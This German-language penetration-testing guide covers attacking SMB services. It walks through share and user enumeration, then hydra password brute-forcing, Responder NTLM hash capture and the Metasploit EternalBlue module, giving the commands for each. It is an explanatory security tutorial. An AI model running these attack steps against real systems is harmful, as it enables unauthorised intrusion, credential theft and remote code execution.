139, 445 - SMB

Einführung

SMB (Server Message Block) ist ein Netzwerkprotokoll, das den Zugriff auf Dateien, Drucker und andere Netzwerkressourcen ermöglicht. Es wird hauptsächlich in Windows-Netzwerken verwendet, aber auch unter Unix/Linux-Systemen durch das Samba-Projekt unterstützt. SMB läuft üblicherweise auf den Ports 139 und 445 und ermöglicht die Kommunikation zwischen einem SMB-Client und einem SMB-Server.

Ziel dieser Anleitung ist es, Schritt für Schritt zu erklären, wie man SMB-Dienste auf einem Zielsystem enumeriert, Schwachstellen identifiziert und diese möglicherweise exploitiert. Dabei werden verschiedene Tools vorgestellt, die gängige Sicherheitslücken ausnutzen können.


Erkennung von SMB-Diensten

Der erste Schritt in der SMB-Enumeration besteht darin, zu prüfen, ob das Zielsystem SMB-Dienste bereitstellt und welche Versionen davon laufen. Dazu verwenden wir Nmap, das hilft, offene Ports zu scannen und Informationen über die SMB-Dienste zu erhalten.

Nmap-Scan:

$ sudo nmap -p139,445 --script smb-enum-shares,smb-enum-users -sC -sV <Ziel-IP>
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  microsoft-ds
| smb-enum-shares: 
|   notes: READ, WRITE
|   IPC$: NO ACCESS
  • -p139,445: Scannt die klassischen SMB-Ports.

  • --script smb-enum-shares: Versucht, Freigaben aufzulisten.

  • --script smb-enum-users: Listet Benutzer auf, wenn dies möglich ist.

  • -sC: Führt grundlegende Nmap-Skripte aus.

  • -sV: Bestimmt die Version des SMB-Dienstes.

Warum dieser Schritt wichtig ist: Der Scan gibt dir eine erste Übersicht über das Zielsystem. Du erfährst, ob SMB-Dienste aktiv sind, welche Version des Protokolls verwendet wird und ob du auf bestimmte Freigaben zugreifen kannst. Das ist entscheidend für den weiteren Angriff, da veraltete Versionen wie SMBv1 bekannte Schwachstellen enthalten (z.B. EternalBlue).


Freigabenanalyse mit SMBMap

Mit SMBMap kannst du Freigaben auflisten und Berechtigungen einsehen.

Befehl:

smbmap -H <Ziel-IP>

Zeigt z. B.:

Disk        Permissions  Comment
notes       READ,WRITE   Projektdateien
IPC$        NO ACCESS    IPC Service

Warum dieser Schritt wichtig ist: Du erkennst, ob du z. B. Schreibrechte hast. Schreibrechte können für Payloads oder Backdoors genutzt werden.


Umfassende Enumeration mit Enum4linux-ng

Enum4linux-ng kombiniert mehrere Techniken und liefert umfangreiche Informationen zu Benutzern, Gruppen und Freigaben.

Befehl:

enum4linux-ng -A <Ziel-IP>

Warum dieser Schritt wichtig ist: Gerade bei Active Directory-Umgebungen kannst du wertvolle Informationen über Userstrukturen gewinnen und Angriffsflächen identifizieren.


Manuelles Durchsuchen von Freigaben mit smbclient

Wenn du Freigaben gefunden hast, kannst du sie mit smbclient durchsuchen. Es funktioniert ähnlich wie ein FTP-Client.

Freigaben anzeigen (anonym):

smbclient -N -L \\{Ziel-IP}\\
  • -N: Kein Passwort

  • -L: Zeigt verfügbare Freigaben

Auf eine Freigabe zugreifen:

smbclient -N \\{Ziel-IP}\\backups

Warum dieser Schritt wichtig ist: Erlaubt dir das manuelle Stöbern nach sensiblen Dateien oder Konfigurationen. Besonders nützlich, wenn keine Zugangsdaten vorhanden sind.


Benutzerinformationen mit rpcclient

rpcclient ermöglicht es, detaillierte Informationen über Benutzer und Gruppen auf einem SMB-Server zu erhalten. Dies ist besonders nützlich, um mehr über die Benutzerstruktur und mögliche Schwachstellen zu erfahren.

Befehl:

rpcclient -U "" <Ziel-IP>

Beispielkommandos:

rpcclient $> enumdomusers
rpcclient $> queryuser <RID>

Beispielausgabe:

$ rpcclient -U "" <Ziel-IP>
rpcclient $> enumdomusers
user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]
rpcclient $> queryuser <RID>
User Name   :   cry0l1t3
Full Name   :   cry0l1t3
Logon Time  :   Mi, 22 Sep 2021 17:50:56 CEST
Password last set Time: Mi, 22 Sep 2021 17:50:56 CEST

Warum dieser Schritt wichtig ist: Mit rpcclient kannst du Benutzerinformationen sammeln, die für weitere Angriffe wie Brute-Force oder Passwortspray verwendet werden können. Besonders hilfreich, wenn enum4linux-ng keine Benutzer liefert.

Query

Query
Description

srvinfo

Server information.

enumdomains

Enumerate all domains that are deployed in the network.

querydominfo

Provides domain, server, and user information of deployed domains.

netshareenumall

Enumerates all available shares.

netsharegetinfo <share>

Provides information about a specific share.

enumdomusers

Enumerates all domain users.

queryuser <RID>

Provides information about a specific user.


Brute-Force mit Hydra

Mit validen Usernamen kannst du schwache Passwörter testen.

Befehl:

hydra -l <Benutzer> -P /usr/share/wordlists/rockyou.txt smb://<Ziel-IP>

Warum dieser Schritt wichtig ist: Einfacher Weg, Zugriff zu erlangen, wenn Passwörter schwach oder Standard sind.


Hash-Abgriff mit Responder

Responder fängt SMB-Authentifizierungen ab und speichert NTLM-Hashes.

Befehl:

sudo responder -I <Interface>

Warum dieser Schritt wichtig ist: NTLM-Hashes lassen sich offline cracken oder für Pass-the-Hash nutzen.


SMB-Exploits (z. B. EternalBlue)

Bei alten SMB-Versionen wie SMBv1 können Exploits wie EternalBlue verwendet werden.

Metasploit-Exploit:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <Ziel-IP>
run

Warum dieser Schritt wichtig ist: Ermöglicht Remote-Code-Execution auf ungepatchten Systemen. Volle Kontrolle möglich.


Zusammenfassung der SMB-Enumeration und -Exploitation

Tool

Beschreibung

Nmap

Erkennung von offenen SMB-Ports und Versionen.

SMBMap

Detaillierte Analyse von SMB-Freigaben und Berechtigungen.

Enum4linux-ng

Umfassende Enumeration von Benutzern, Freigaben und Gruppen auf dem SMB-Server.

smbclient

Direkter Zugriff auf SMB-Freigaben, um Dateien zu durchsuchen oder herunterzuladen.

rpcclient

Abfragen von Benutzerinformationen und Gruppen.

Hydra

Brute-Force-Angriffe auf SMB-Passwörter.

Responder

Abfangen von SMB-Authentifizierungs-Hashes (NTLM).

Metasploit

Automatisierte Exploitation von Schwachstellen (z.B. EternalBlue).

Last updated